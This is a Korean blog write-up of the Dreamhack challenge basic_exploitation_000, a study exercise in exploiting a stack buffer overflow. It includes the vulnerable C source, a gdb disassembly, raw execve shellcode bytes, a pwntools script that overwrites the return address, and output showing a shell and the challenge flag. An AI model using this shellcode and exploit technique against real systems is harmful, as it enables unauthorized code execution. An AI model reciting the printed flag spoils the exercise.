[Dreamhack] basic_exploitation_000

Sisyphus·2022년 7월 15일
1
 ⚡ root  ~/Downloads  cat basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];					// 128 Byte 크기의 문자열 변수 선언

    initialize();
    
    printf("buf = (%p)\n", buf);	// buf의 주소 출력
    scanf("%141s", buf);			// buf에 141 Byte 크기의 문자열을 입력받음

    return 0;
}

buf 의 크기는 128 Byte 밖에 안되는데, scanf("%141s", buf) 를 통해서 141 Byte 크기의 입력을 받기 때문에 버퍼 오버플로우가 발생합니다.


gdb로 어셈블리어를 봐보면

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     add    esp,0xffffff80
   0x080485df <+6>:     call   0x8048592 <initialize>			// initialize() 함수 호출
   0x080485e4 <+11>:    lea    eax,[ebp-0x80]					// eax = buf(ebp-128)
   0x080485e7 <+14>:    push   eax								// push eax
   0x080485e8 <+15>:    push   0x8048699						// push "buf = (%p)\n"
   0x080485ed <+20>:    call   0x80483f0 <printf@plt>			// printf("buf = (%p)\n", buf)
   0x080485f2 <+25>:    add    esp,0x8
   0x080485f5 <+28>:    lea    eax,[ebp-0x80]					// eax = buf(ebp-128)
   0x080485f8 <+31>:    push   eax								// push buf(ebp-128)
   0x080485f9 <+32>:    push   0x80486a5						// push "%141s"
   0x080485fe <+37>:    call   0x8048460 <__isoc99_scanf@plt>	// scanf(%141s", buf)
   0x08048603 <+42>:    add    esp,0x8
   0x08048606 <+45>:    mov    eax,0x0
   0x0804860b <+50>:    leave  
   0x0804860c <+51>:    ret    
End of assembler dump.

메모리 구조를 그려보면

  • buf 의 주소는 printf() 로 출력을 해주기 때문에 따로 찾을 필요 없고, shellcodescanf() 우회 쉘 코드인 26 Byte 쉘 코드를 사용하면 됩니다.

  • 페이로드는
    buf~EBP ← shellcode[26] + NOP[106]
    RET ← buf_address[4]
    로 구성해서 공격을 하면 될 거 같습니다.


pwntools 로 익스플로잇 코드를 짜 보면

from pwn import *

p = remote("host3.dreamhack.games", 12129)	# 원격 서버 접속

# scanf() 우회 shellcode
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

buf = int(p.recv()[7:17], 16)	# 출력 데이터인 buf = (0xffffcfb8)에서 0xffffcfb8 (index: 7 ~ 17)만 16진수로 buf에 저장

payload = shellcode				# payload = shellcode[26]
payload += b"\x90"*106			# payload = shellcode[26] + NOP[106]
payload += p32(buf)				# payload = shellcode[26] + NOP[106] + buf_address[4]

p.sendline(payload)				# payload 입력
p.interactive()	   				# user에게 입출력을 다시 돌려줌

익스플로잇 코드를 실행시켜보면


 ⚡ root  ~/dreamhack  python exploit001.py
[+] Opening connection to host3.dreamhack.games on port 12129: Done
[*] Switching to interactive mode
$ ls
$ ls
basic_exploitation_000
flag
$ cat flag
DH{465dd453b2a25a26a847a93d3695676d}$ 
$ 
[*] Got EOF while reading in interactive

공격에 성공해서 쉘이 떴고 플래그를 출력하니 정상적으로 출력되었습니다.

0개의 댓글